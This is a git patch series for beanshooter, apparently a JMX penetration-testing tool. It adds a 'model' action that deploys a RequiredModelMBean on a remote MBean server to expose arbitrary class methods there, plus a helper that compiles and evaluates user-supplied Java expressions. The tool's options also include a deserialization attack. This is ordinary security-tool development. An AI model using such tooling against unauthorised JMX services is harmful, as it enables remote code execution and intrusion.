From e1f10fc941d18d5d1f49817482f9adf0b6cac890 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Mon, 13 Mar 2023 07:54:54 +0100 Subject: [PATCH 01/25] Add first draft for RequiredModelMBean support Added a first draft for RequiredModelMBean support. RequiredModelMBeans can now be deployed using the model action. The user can specify an arbitrary class the RequiredModelMBean belongs to. The underlying managed resource can be specified during deployment, or later via the invoke operation. Calling methods via RequiredModelMBean is also done via invoke and no separate operation was added for this purpose. --- .../de/qtc/beanshooter/cli/OptionHandler.java | 3 + .../operation/BeanshooterOperation.java | 28 +++++++ .../operation/BeanshooterOption.java | 28 +++++++ .../qtc/beanshooter/operation/Dispatcher.java | 81 ++++++++++++++++++- .../operation/MBeanServerClient.java | 46 ++++++++++- .../beanshooter/plugin/IArgumentProvider.java | 1 + .../qtc/beanshooter/plugin/PluginSystem.java | 23 ++++++ .../plugin/providers/ArgumentProvider.java | 35 ++++++++ .../src/de/qtc/beanshooter/utils/Utils.java | 53 +++++++++++- 9 files changed, 295 insertions(+), 3 deletions(-) diff --git a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java index 73fb2ce..0ea4e2b 100644 --- a/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java +++ b/beanshooter/src/de/qtc/beanshooter/cli/OptionHandler.java @@ -147,6 +147,9 @@ public static void addModifiers(Option option, Argument arg) if (option == BeanshooterOption.ATTR_VALUE) arg.nargs("?"); + if (option == BeanshooterOption.MODEL_RESOURCE) + arg.nargs("?"); + if (option == BeanshooterOption.OBJ_NAME) arg.nargs("?"); diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java index e2a9d9a..df1df5d 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java @@ -234,6 +234,34 @@ public enum BeanshooterOperation implements Operation { BeanshooterOption.LIST_FILTER_OBJ, }), + MODEL("model", "creates a RequiredModelMBean on the server", new Option[] { + BeanshooterOption.GLOBAL_CONFIG, + BeanshooterOption.GLOBAL_VERBOSE, + BeanshooterOption.GLOBAL_PLUGIN, + BeanshooterOption.GLOBAL_NO_COLOR, + BeanshooterOption.GLOBAL_STACK_TRACE, + BeanshooterOption.TARGET_HOST, + BeanshooterOption.TARGET_PORT, + BeanshooterOption.TARGET_BOUND_NAME, + BeanshooterOption.TARGET_OBJID_SERVER, + BeanshooterOption.TARGET_OBJID_CONNECTION, + BeanshooterOption.CONN_FOLLOW, + BeanshooterOption.CONN_SSL, + BeanshooterOption.CONN_JMXMP, + BeanshooterOption.CONN_JOLOKIA, + BeanshooterOption.CONN_JOLOKIA_ENDPOINT, + BeanshooterOption.CONN_JOLOKIA_PROXY, + BeanshooterOption.CONN_JOLOKIA_PROXY_USER, + BeanshooterOption.CONN_JOLOKIA_PROXY_PASS, + BeanshooterOption.CONN_USER, + BeanshooterOption.CONN_PASS, + BeanshooterOption.CONN_SASL, + BeanshooterOption.MODEL_OBJ_NAME, + BeanshooterOption.MODEL_CLASS_NAME, + BeanshooterOption.MODEL_RESOURCE, + BeanshooterOption.MODEL_ALL_METHODS, + }), + SERIAL("serial", "perform a deserialization attack", new Option[] { BeanshooterOption.GLOBAL_CONFIG, diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java index 1e190ec..4049638 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java @@ -439,6 +439,34 @@ public enum BeanshooterOption implements Option { ArgType.STRING ), + MODEL_OBJ_NAME("object-name", + "ObjectName for the newly deployed RequiredModelMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + MODEL_CLASS_NAME("class-name", + "Class that should be made accessible via the deployed RequiredModelMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + MODEL_RESOURCE("resource", + "managed resource for the RequiredModelMBean", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + MODEL_ALL_METHODS("--all-methods", + "also deploy methods with non serializable parameters", + Arguments.storeTrue(), + OptionGroup.ACTION, + ArgType.BOOL + ), + STAGER_HOST("host", "the IP address to listen on", Arguments.store(), diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java index bef385d..7b1cfeb 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java @@ -9,11 +9,17 @@ import javax.management.Attribute; import javax.management.MBeanException; +import javax.management.MBeanParameterInfo; import javax.management.MBeanServerConnection; import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.ReflectionException; import javax.management.RuntimeMBeanException; +import javax.management.modelmbean.ModelMBeanAttributeInfo; +import javax.management.modelmbean.ModelMBeanInfo; +import javax.management.modelmbean.ModelMBeanInfoSupport; +import javax.management.modelmbean.ModelMBeanOperationInfo; +import javax.management.modelmbean.RequiredModelMBean; import org.jolokia.client.exception.J4pRemoteException; @@ -104,6 +110,79 @@ public void deploy() Logger.decreaseIndent(); } + /** + * Creates a new RequiredModelMBean on the remote MBean server that allows access to a user specified + * class. + */ + public void model() + { + String className = ArgumentHandler.require(BeanshooterOption.MODEL_CLASS_NAME); + ObjectName mBeanObjectName = Utils.getObjectName(ArgumentHandler.require(BeanshooterOption.MODEL_OBJ_NAME)); + + MBeanServerClient mBeanServerClient = getMBeanServerClient(); + + try { + Class cls = Class.forName(className); + ModelMBeanOperationInfo[] ops = Utils.createModelMBeanInfosFromClass(cls); + + Logger.printlnBlue("Deploying RequiredModelMBean supporting methods from " + cls.getName()); + Logger.lineBreak(); + Logger.increaseIndent(); + + ModelMBeanInfo mmbi = new ModelMBeanInfoSupport(cls.getName(), "ModelMBean", new ModelMBeanAttributeInfo[] {}, null, ops, null); + mBeanServerClient.deployMBean(RequiredModelMBean.class.getName(), mBeanObjectName, null, new Object[] { mmbi }, new String[] { ModelMBeanInfo.class.getName() }); + + Logger.lineBreak(); + Logger.printlnYellow("Available Methods:"); + + for (ModelMBeanOperationInfo op : ops) + { + String ret = op.getReturnType(); + String name = op.getName(); + StringBuilder args = new StringBuilder(); + + for (MBeanParameterInfo param : op.getSignature()) + { + args.append(param.getType()); + args.append(", "); + } + + if (op.getSignature().length > 0) + args.setLength(args.length() - 2); + + Logger.printMixedBlue(" -", ret + " "); + Logger.printPlainYellow(name); + Logger.printlnPlainBlue("(" + args.toString() + ")"); + } + } + + catch (ClassNotFoundException e) + { + Logger.eprintlnMixedYellow("The specified class", className, "cannot be found."); + Utils.exit(); + } + + if (BeanshooterOption.MODEL_RESOURCE.notNull()) + { + Object managedResource = PluginSystem.strToObj(BeanshooterOption.MODEL_RESOURCE.getValue()); + + try + { + Logger.lineBreak(); + Logger.printlnMixedYellow("Setting managed resource to:", BeanshooterOption.MODEL_RESOURCE.getValue()); + mBeanServerClient.invoke(mBeanObjectName, "setManagedResource", new String[] { Object.class.getName(), "java.lang.String" }, managedResource, "objectReference"); + Logger.printlnMixedBlue("Managed resource was set", "successfully."); + } + + catch (MBeanException | ReflectionException | IOException e) + { + ExceptionHandler.internalError("model", "Caught" + e.getClass().getName() + "while invoking setManagedResource."); + } + } + + Logger.decreaseIndent(); + } + /** * Removes the specified MBean from the remote MBeanServer. */ @@ -380,7 +459,7 @@ public void invoke() Throwable t = ExceptionHandler.getCause(e); String message = t.getMessage(); - if (message.contains("No operation " + methodName)) + if (message != null && message.contains("No operation " + methodName)) { if (message.contains("Known signatures: ")) ExceptionHandler.noOperationAlternative(e, signature, methodName, message); diff --git a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java index 554d643..0cebdb2 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/MBeanServerClient.java @@ -17,6 +17,7 @@ import javax.management.ObjectInstance; import javax.management.ObjectName; import javax.management.ReflectionException; +import javax.management.RuntimeOperationsException; import org.jolokia.client.exception.J4pRemoteException; import org.jolokia.client.exception.UncheckedJmxAdapterException; @@ -75,6 +76,21 @@ public boolean isRegistered(ObjectName name) * @param jarFile path to a jar file for remote deployments (null if not desired) */ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, String jarFile) + { + deployMBean(mBeanClassName, mBeanObjectName, jarFile, null, null); + } + + /** + * Deploys the specified MBean. If the load parameter is set to true, the MBean will be loaded + * using getMBeansFromURL if it is not known to the MBEanServer. + * + * @param mBeanClassName class that is implemented by the MBean + * @param mBeanObjectName objectName implemented by the MBean + * @param jarFile path to a jar file for remote deployments (null if not desired) + * @param if a specific constructor should be used, define its parameters here + * @param if a specific constructor should be used, define its signature here + */ + public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, String jarFile, Object[] params, String[] signature) { String className = mBeanClassName.substring(mBeanClassName.lastIndexOf(".") + 1); Logger.printlnMixedYellow("Deplyoing MBean:", className); @@ -87,7 +103,11 @@ public void deployMBean(String mBeanClassName, ObjectName mBeanObjectName, Strin return; } - conn.createMBean(mBeanClassName, mBeanObjectName); + if (params == null || signature == null) + conn.createMBean(mBeanClassName, mBeanObjectName); + + else + conn.createMBean(mBeanClassName, mBeanObjectName, params, signature); } catch (InstanceAlreadyExistsException e) @@ -309,6 +329,30 @@ public Object invoke(ObjectName name, String methodName, String[] argTypes, Obje throw e; } + catch (RuntimeOperationsException e) + { + Throwable t = ExceptionHandler.getCause(e); + + if (t instanceof IllegalArgumentException) + { + String[] actualArgumentTypes = new String[args.length]; + + for (int ctr = 0; ctr < args.length; ctr++) + { + actualArgumentTypes[ctr] = args[ctr].getClass().getName(); + } + + Logger.eprintlnMixedYellow("Caught unexpected", "IllegalArgumentException", "while invoking the method."); + Logger.eprintlnMixedBlue("The specified argument types:", String.join(", ", actualArgumentTypes)); + Logger.eprintlnMixedBlue("Do not match the expected argument types:", String.join(" ,", argTypes)); + + ExceptionHandler.showStackTrace(e); + Utils.exit(); + } + + throw e; + } + return result; } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java index c189746..2eb009e 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java @@ -21,6 +21,7 @@ public interface IArgumentProvider { Object[] getArgumentArray(String[] argumentArray) throws PluginException; + Object strToObj(String str) throws PluginException; String[] getArgumentTypes(String signature) throws PluginException; String getMethodName(String signature) throws PluginException; } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java index 0390fdc..fb04909 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java @@ -407,6 +407,29 @@ public static Object[] getArgumentArray(String[] argumentArray) return args; } + /** + * Create an Object from a Java expression. + * + * @param str Java expression. Class names need to be specified full qualified + * @return Object created from the Java expression + */ + public static Object strToObj(String str) + { + Object args = null; + + try + { + args = argumentProvider.strToObj(str); + } + + catch (PluginException e) + { + ExceptionHandler.pluginException(e); + } + + return args; + } + /** * Pass the user supplied method signature to the ArgumentProvider and return the resulting * string array of parameter types. diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java index 90e3b54..bc4ac2e 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java @@ -73,6 +73,41 @@ else if( arguments.length == 0 ) return result; } + /** + * Create an Object from a Java expression. + * + * @param str Java expression. Class names need to be specified full qualified + * @return Object created from the Java expression + */ + public Object strToObj(String str) + { + Object result = null; + ClassPool pool = ClassPool.getDefault(); + + try { + CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider"); + String evalFunction = "public static Object eval() {" + + " return " + str + ";" + + "}"; + + CtMethod me = CtNewMethod.make(evalFunction, evaluator); + evaluator.addMethod(me); + + Class evalClass = evaluator.toClass(); + Method m = evalClass.getDeclaredMethods()[0]; + + result = (Object) m.invoke(evalClass, (Object[])null); + + } catch(VerifyError | CannotCompileException e) { + ExceptionHandler.invalidArgumentException(e, str); + + } catch (Exception e) { + ExceptionHandler.unexpectedException(e, "argument array", "generation", true); + } + + return result; + } + /** * MBean calls are dispatched using an array of argument objects and an array of class names of the * corresponding argument types. In ordinary MBean clients, this is no problem, as the methods are available diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java index e5fc45e..f339484 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java @@ -2,6 +2,7 @@ import java.io.File; import java.io.IOException; +import java.io.Serializable; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -35,14 +36,18 @@ import java.util.regex.Matcher; import java.util.regex.Pattern; +import javax.management.Descriptor; import javax.management.MBeanOperationInfo; import javax.management.MBeanParameterInfo; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; +import javax.management.modelmbean.DescriptorSupport; +import javax.management.modelmbean.ModelMBeanOperationInfo; +import javax.management.modelmbean.RequiredModelMBean; import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; - +import de.qtc.beanshooter.operation.BeanshooterOption; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; @@ -659,4 +664,50 @@ public static String getJmxTarget(Remote remote) throws IllegalArgumentException return String.format("%s:%d", host, port); } + + /** + * Create an array of ModelMBeanOperationInfo from the specified class. This method uses reflection to + * determine all the available methods within the specified class, filters methods with non serializable + * parameters and wraps each method into an ModelMBeanOperationInfo. + * + * @param cls Class to obtain ModelMBeanOperationInfos from + * @return Array of ModelMBeanOperationInfo for the specified class + */ + public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class cls) + { + Method[] methods = cls.getDeclaredMethods(); + List infos = new ArrayList();; + + outer: + for (Method method : methods) + { + if (!BeanshooterOption.MODEL_ALL_METHODS.getBool()) + { + for (Class paramType : method.getParameterTypes()) + { + if (!(Serializable.class.isAssignableFrom(paramType))) + continue outer; + } + } + + Descriptor methodDescriptor = new DescriptorSupport(new String[] { "name=" + method.getName(), "descriptorType=operation", "class=" + cls.getName()}); + ModelMBeanOperationInfo info = new ModelMBeanOperationInfo(method.getName(), method, methodDescriptor); + + infos.add(info); + } + + try + { + Method setManagedResource = RequiredModelMBean.class.getMethod("setManagedResource", new Class[] {Object.class, String.class}); + ModelMBeanOperationInfo info = new ModelMBeanOperationInfo("setManagedResource", setManagedResource); + infos.add(info); + } + + catch (NoSuchMethodException | SecurityException e) + { + ExceptionHandler.internalError("createModelMBeanInfosFromClass", "unable to find setManagedResource method"); + } + + return infos.toArray(new ModelMBeanOperationInfo[0]); + } } From f34f44c7e1a64460274c7ebec2fe870b31c9e1c9 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Tue, 14 Mar 2023 09:18:11 +0100 Subject: [PATCH 02/25] Allow deployment of unknown classes via model The model action now also allows the deployment of locally non existing classes. The user needs to specify method signatures manually in this case. --- .../operation/BeanshooterOperation.java | 2 + .../operation/BeanshooterOption.java | 15 +++ .../qtc/beanshooter/operation/Dispatcher.java | 75 ++++++++------- .../beanshooter/plugin/IArgumentProvider.java | 1 + .../qtc/beanshooter/plugin/PluginSystem.java | 26 +++++ .../plugin/providers/ArgumentProvider.java | 18 +++- .../src/de/qtc/beanshooter/utils/Utils.java | 96 ++++++++++++++++++- 7 files changed, 196 insertions(+), 37 deletions(-) diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java index df1df5d..764a088 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOperation.java @@ -260,6 +260,8 @@ public enum BeanshooterOperation implements Operation { BeanshooterOption.MODEL_CLASS_NAME, BeanshooterOption.MODEL_RESOURCE, BeanshooterOption.MODEL_ALL_METHODS, + BeanshooterOption.MODEL_SIGNATURE, + BeanshooterOption.MODEL_SIGNATURE_FILE }), diff --git a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java index 4049638..7d8d0c2 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/BeanshooterOption.java @@ -467,6 +467,21 @@ public enum BeanshooterOption implements Option { ArgType.BOOL ), + MODEL_SIGNATURE("--signature", + "create a RequiredModelMBean with the specified method signature", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + + + MODEL_SIGNATURE_FILE("--signature-file", + "create a RequiredModelMBean with method signatures from a file", + Arguments.store(), + OptionGroup.ACTION, + ArgType.STRING + ), + STAGER_HOST("host", "the IP address to listen on", Arguments.store(), diff --git a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java index 7b1cfeb..477d348 100644 --- a/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java +++ b/beanshooter/src/de/qtc/beanshooter/operation/Dispatcher.java @@ -119,47 +119,57 @@ public void model() String className = ArgumentHandler.require(BeanshooterOption.MODEL_CLASS_NAME); ObjectName mBeanObjectName = Utils.getObjectName(ArgumentHandler.require(BeanshooterOption.MODEL_OBJ_NAME)); + ModelMBeanOperationInfo[] ops; MBeanServerClient mBeanServerClient = getMBeanServerClient(); - try { + try + { Class cls = Class.forName(className); - ModelMBeanOperationInfo[] ops = Utils.createModelMBeanInfosFromClass(cls); - + ops = Utils.createModelMBeanInfosFromClass(cls); Logger.printlnBlue("Deploying RequiredModelMBean supporting methods from " + cls.getName()); - Logger.lineBreak(); - Logger.increaseIndent(); - - ModelMBeanInfo mmbi = new ModelMBeanInfoSupport(cls.getName(), "ModelMBean", new ModelMBeanAttributeInfo[] {}, null, ops, null); - mBeanServerClient.deployMBean(RequiredModelMBean.class.getName(), mBeanObjectName, null, new Object[] { mmbi }, new String[] { ModelMBeanInfo.class.getName() }); - - Logger.lineBreak(); - Logger.printlnYellow("Available Methods:"); + } - for (ModelMBeanOperationInfo op : ops) + catch (ClassNotFoundException e) + { + if (BeanshooterOption.MODEL_SIGNATURE.isNull() && BeanshooterOption.MODEL_SIGNATURE_FILE.isNull()) { - String ret = op.getReturnType(); - String name = op.getName(); - StringBuilder args = new StringBuilder(); - - for (MBeanParameterInfo param : op.getSignature()) - { - args.append(param.getType()); - args.append(", "); - } - - if (op.getSignature().length > 0) - args.setLength(args.length() - 2); - - Logger.printMixedBlue(" -", ret + " "); - Logger.printPlainYellow(name); - Logger.printlnPlainBlue("(" + args.toString() + ")"); + Logger.eprintlnMixedYellow("The specified class", className, "cannot be found locally."); + Logger.eprintMixedBlue("You can still use it by providing method signatures via", "--signature", "or"); + Logger.eprintlnPlainBlue("--signature-file"); + Utils.exit(); } + + ops = Utils.createModelMBeanInfosFromArg(className); + Logger.printlnBlue("Deploying RequiredModelMBean supporting user specified methods"); } - catch (ClassNotFoundException e) + Logger.lineBreak(); + Logger.increaseIndent(); + + ModelMBeanInfo mmbi = new ModelMBeanInfoSupport(className, "ModelMBean", new ModelMBeanAttributeInfo[] {}, null, ops, null); + mBeanServerClient.deployMBean(RequiredModelMBean.class.getName(), mBeanObjectName, null, new Object[] { mmbi }, new String[] { ModelMBeanInfo.class.getName() }); + + Logger.lineBreak(); + Logger.printlnYellow("Available Methods:"); + + for (ModelMBeanOperationInfo op : ops) { - Logger.eprintlnMixedYellow("The specified class", className, "cannot be found."); - Utils.exit(); + String ret = op.getReturnType(); + String name = op.getName(); + StringBuilder args = new StringBuilder(); + + for (MBeanParameterInfo param : op.getSignature()) + { + args.append(param.getType()); + args.append(", "); + } + + if (op.getSignature().length > 0) + args.setLength(args.length() - 2); + + Logger.printMixedBlue(" -", ret + " "); + Logger.printPlainYellow(name); + Logger.printlnPlainBlue("(" + args.toString() + ")"); } if (BeanshooterOption.MODEL_RESOURCE.notNull()) @@ -176,7 +186,8 @@ public void model() catch (MBeanException | ReflectionException | IOException e) { - ExceptionHandler.internalError("model", "Caught" + e.getClass().getName() + "while invoking setManagedResource."); + ExceptionHandler.showStackTrace(e); + ExceptionHandler.internalError("model", "Caught " + e.getClass().getName() + " while invoking setManagedResource."); } } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java index 2eb009e..2a5b254 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/IArgumentProvider.java @@ -23,5 +23,6 @@ public interface IArgumentProvider Object[] getArgumentArray(String[] argumentArray) throws PluginException; Object strToObj(String str) throws PluginException; String[] getArgumentTypes(String signature) throws PluginException; + String[] getArgumentTypes(String signature, boolean includeReturn, boolean includeName) throws PluginException; String getMethodName(String signature) throws PluginException; } diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java index fb04909..f719b8d 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/PluginSystem.java @@ -454,6 +454,32 @@ public static String[] getArgumentTypes(String signature) return types; } + /** + * Pass the user supplied method signature to the ArgumentProvider and return the resulting + * string array of parameter types. + * + * @param signature user supplied method signature + * @param includeReturn whether to include the methods retrun value as a type + * @param includeNanme whether to include the methods name as a string + * @return String array containing the parsed parameter type names + */ + public static String[] getArgumentTypes(String signature, boolean includeReturn, boolean includeName) + { + String[] types = null; + + try + { + types = argumentProvider.getArgumentTypes(signature, includeReturn, includeName); + } + + catch (PluginException e) + { + ExceptionHandler.pluginException(e); + } + + return types; + } + /** * Pass the user supplied method signature to the ArgumentProvider and return the resulting * method name parsed from the signature. diff --git a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java index bc4ac2e..5076e01 100644 --- a/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java +++ b/beanshooter/src/de/qtc/beanshooter/plugin/providers/ArgumentProvider.java @@ -108,6 +108,14 @@ public Object strToObj(String str) return result; } + /** + * See description below. + */ + public String[] getArgumentTypes(String signature) + { + return getArgumentTypes(signature, false, false); + } + /** * MBean calls are dispatched using an array of argument objects and an array of class names of the * corresponding argument types. In ordinary MBean clients, this is no problem, as the methods are available @@ -126,14 +134,14 @@ public Object strToObj(String str) * create a dummy method from the user specified method signature and when obtain the correct * type names via reflection and getParameterTypes() on the associated method object. */ - public String[] getArgumentTypes(String signature) + public String[] getArgumentTypes(String signature, boolean includeReturn, boolean includeName) { ClassPool pool = ClassPool.getDefault(); List result = new ArrayList(); signature = Utils.makeVoid(signature); try { - CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider2"); + CtClass evaluator = pool.makeClass("de.qtc.rmg.plugin.providers.DefaultArgumentProvider2" + System.nanoTime()); String dummyFunction = "public static " + signature + " {}"; CtMethod me = CtNewMethod.make(dummyFunction, evaluator); @@ -142,6 +150,12 @@ public String[] getArgumentTypes(String signature) Class evalClass = evaluator.toClass(); targetMethod = evalClass.getDeclaredMethods()[0]; + if (includeReturn) + result.add(targetMethod.getReturnType().getName()); + + if (includeName) + result.add(targetMethod.getName()); + for(Class type : targetMethod.getParameterTypes()) result.add(type.getName()); diff --git a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java index f339484..fad3935 100644 --- a/beanshooter/src/de/qtc/beanshooter/utils/Utils.java +++ b/beanshooter/src/de/qtc/beanshooter/utils/Utils.java @@ -1,6 +1,9 @@ package de.qtc.beanshooter.utils; +import java.io.BufferedReader; import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.Constructor; @@ -37,17 +40,18 @@ import java.util.regex.Pattern; import javax.management.Descriptor; +import javax.management.ImmutableDescriptor; import javax.management.MBeanOperationInfo; import javax.management.MBeanParameterInfo; import javax.management.MalformedObjectNameException; import javax.management.ObjectName; -import javax.management.modelmbean.DescriptorSupport; import javax.management.modelmbean.ModelMBeanOperationInfo; import javax.management.modelmbean.RequiredModelMBean; import de.qtc.beanshooter.exceptions.ExceptionHandler; import de.qtc.beanshooter.io.Logger; import de.qtc.beanshooter.operation.BeanshooterOption; +import de.qtc.beanshooter.plugin.PluginSystem; import sun.rmi.server.UnicastRef; import sun.rmi.transport.LiveRef; import sun.rmi.transport.tcp.TCPEndpoint; @@ -675,9 +679,14 @@ public static String getJmxTarget(Remote remote) throws IllegalArgumentException */ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class cls) { - Method[] methods = cls.getDeclaredMethods(); + Method[] methods = cls.getMethods(); List infos = new ArrayList();; + Map descriptorFields = new HashMap(); + descriptorFields.put("class", cls.getName()); + descriptorFields.put("role", "operation"); + descriptorFields.put("descriptorType", "operation"); + outer: for (Method method : methods) { @@ -690,7 +699,10 @@ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class } } - Descriptor methodDescriptor = new DescriptorSupport(new String[] { "name=" + method.getName(), "descriptorType=operation", "class=" + cls.getName()}); + descriptorFields.put("name", method.getName()); + descriptorFields.put("displayName", method.getName()); + + Descriptor methodDescriptor = new ImmutableDescriptor(descriptorFields); ModelMBeanOperationInfo info = new ModelMBeanOperationInfo(method.getName(), method, methodDescriptor); infos.add(info); @@ -710,4 +722,82 @@ public static ModelMBeanOperationInfo[] createModelMBeanInfosFromClass(Class return infos.toArray(new ModelMBeanOperationInfo[0]); } + + public static ModelMBeanOperationInfo[] createModelMBeanInfosFromArg(String className) + { + List operationInfos = new ArrayList(); + + if (BeanshooterOption.MODEL_SIGNATURE.notNull()) + { + ModelMBeanOperationInfo operationInfo = crateModelMBeanInfoFromString(className, BeanshooterOption.MODEL_SIGNATURE.getValue()); + operationInfos.add(operationInfo); + } + + else if (BeanshooterOption.MODEL_SIGNATURE_FILE.notNull()) + { + try (BufferedReader br = new BufferedReader(new FileReader(BeanshooterOption.MODEL_SIGNATURE_FILE.getValue()))) + { + String line; + + while ((line = br.readLine()) != null) + { + ModelMBeanOperationInfo operationInfo = crateModelMBeanInfoFromString(className, line); + operationInfos.add(operationInfo); + } + } + + catch (FileNotFoundException e) + { + Logger.printlnMixedYellow("Caught unexpected", "FileNotFoundException", "while preparing method signatures."); + Logger.printlnMixedBlue("The specified input file", BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), "seems not to exist."); + Utils.exit(); + } + + catch (IOException e) + { + ExceptionHandler.handleFileRead(e, BeanshooterOption.MODEL_SIGNATURE_FILE.getValue(), true); + } + } + + else + { + ExceptionHandler.internalError("createModelMBeanInfosFromArg", "Method was called but neither --signature nor --signature file was specified"); + } + + try + { + Method setManagedResource = RequiredModelMBean.class.getMethod("setManagedResource", new Class[] {Object.class, String.class}); + ModelMBeanOperationInfo info = new ModelMBeanOperationInfo("setManagedResource", setManagedResource); + operationInfos.add(info); + } + + catch (NoSuchMethodException | SecurityException e) + { + ExceptionHandler.internalError("createModelMBeanInfosFromClass", "unable to find setManagedResource method"); + } + + return operationInfos.toArray(new ModelMBeanOperationInfo[0]); + } + + public static ModelMBeanOperationInfo crateModelMBeanInfoFromString(String className, String method) + { + String[] methodDesc = PluginSystem.getArgumentTypes(method, false, true); + + Map descriptorFields = new HashMap(); + descriptorFields.put("name", methodDesc[0]); + descriptorFields.put("displayName", methodDesc[0]); + descriptorFields.put("class", className); + descriptorFields.put("role", "operation"); + descriptorFields.put("descriptorType", "operation"); + + Descriptor methodDescriptor = new ImmutableDescriptor(descriptorFields); + MBeanParameterInfo[] paramInfos = new MBeanParameterInfo[methodDesc.length - 1]; + + for (int ctr = 1; ctr < methodDesc.length; ctr++) + { + paramInfos[ctr - 1] = new MBeanParameterInfo(null, methodDesc[ctr], null); + } + + return new ModelMBeanOperationInfo(methodDesc[0], null, paramInfos, className, MBeanOperationInfo.UNKNOWN, methodDescriptor); + } } From 48d410c0b3e9fc80569bf6ce69873dd1b7ab8218 Mon Sep 17 00:00:00 2001 From: Tobias Neitzel Date: Wed, 15 Mar 2023 08:57:18 +0100 Subject: [PATCH 03/25] Add documentation for the model action --- README.md | 122 ++++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 122 insertions(+) diff --git a/README.md b/README.md index 5137766..71f546a 100644 --- a/README.md +++ b/README.md @@ -61,6 +61,7 @@ autocompletion. - [invoke](#invoke) - [jolokia](#jolokia) - [list](#list) + - [model](#model) 